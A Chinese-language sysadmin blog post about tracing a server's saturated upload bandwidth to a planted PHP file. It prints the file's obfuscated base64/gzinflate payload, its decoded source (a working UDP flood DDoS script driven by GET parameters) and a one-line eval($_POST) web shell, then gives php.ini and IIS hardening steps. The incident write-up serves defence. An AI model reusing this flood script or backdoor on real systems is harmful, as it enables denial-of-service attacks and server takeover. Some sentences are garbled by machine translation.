老男人百科 > 百科 > 正文

w3wp.exe上传流量带宽占用很大问题的解决经历

2023-04-24 20:36:48 阅读( 6869)

近来有一两台服务器网络常出现问题,甚至断网,PING直接大量掉包。

最近一两个服务器网络经常出问题,甚至断网,PING直接掉包很多。重启后正常。

调查后发现占用带宽过高,出现问题时带宽占用100%。据初步估计,有一次袭击。根据监控观察,有少量UDP攻击(根据经验,这个量的UDP不会占用100 m,也很混乱)。启动攻击防御措施,但无济于事。

看了单个网站的带宽,没有异常。

检查进出带宽的吞吐量。当带宽过高时,发送字节的吞吐量为100%。而接收几乎为零。这不像DDOS攻击,会有“下载攻击”。搜索大型压缩文件、视频文件和应用,禁止下载。

类似的情况还是会发生。

查看(同移民检查员移民检查)日志后看到有这么一行日志w3svc 83 60.191。XXX。XXX获取/帮助。PHP IP=222。87 .129 .xxxport=80 time=7200 80-122.225。115 .XXX Mozilla/4.0(兼容;MSIE 6.0 windows NT 5.1 sv1)401 5 5 1726 410。

找到问题,分析PHP文件。

源文件:

?php eval(gzinflate(base64_decode('DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qqI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/')));

解密后:

?php

$packets=0;

$ip=$_GET['ip'];

$rand=$_GET['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time=$_GET['time'];

$time=time();

print 'Flooded: $ip on port $rand brbr';

$max_time=$time+$exec_time;

for($i=0;$i65535;$i++){

$out .='X';

}

while(1){

$packets++;

if(time() $max_time){

break;

}

$fp=fsockopen('udp://$ip', $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo 'Packet complete at '.time('h:i:s').' with $packets (' . round(($packets*65)/1024, 2) . ' mB) packets averaging '. round($packets/$exec_time, 2) . ' packets/s n';

?

?php eval($_POST[ddos])?

有了代码,工作原理就很清楚了。

总的来说,它没有受到攻击。而是去攻击别人。

解决方案:

PHP不允许使用网络。将php.ini中allow_url_fopen的值改为allow_url_fopen=Off。

如果没有。

;extension=php _ sockets.dll(限制使用sockets.dll)

;ignore_user_abort=On

这两项前面都有分号。

但这两项默认是这样设置的。防止有的同志手动打开。

然后重启IIS。

专题页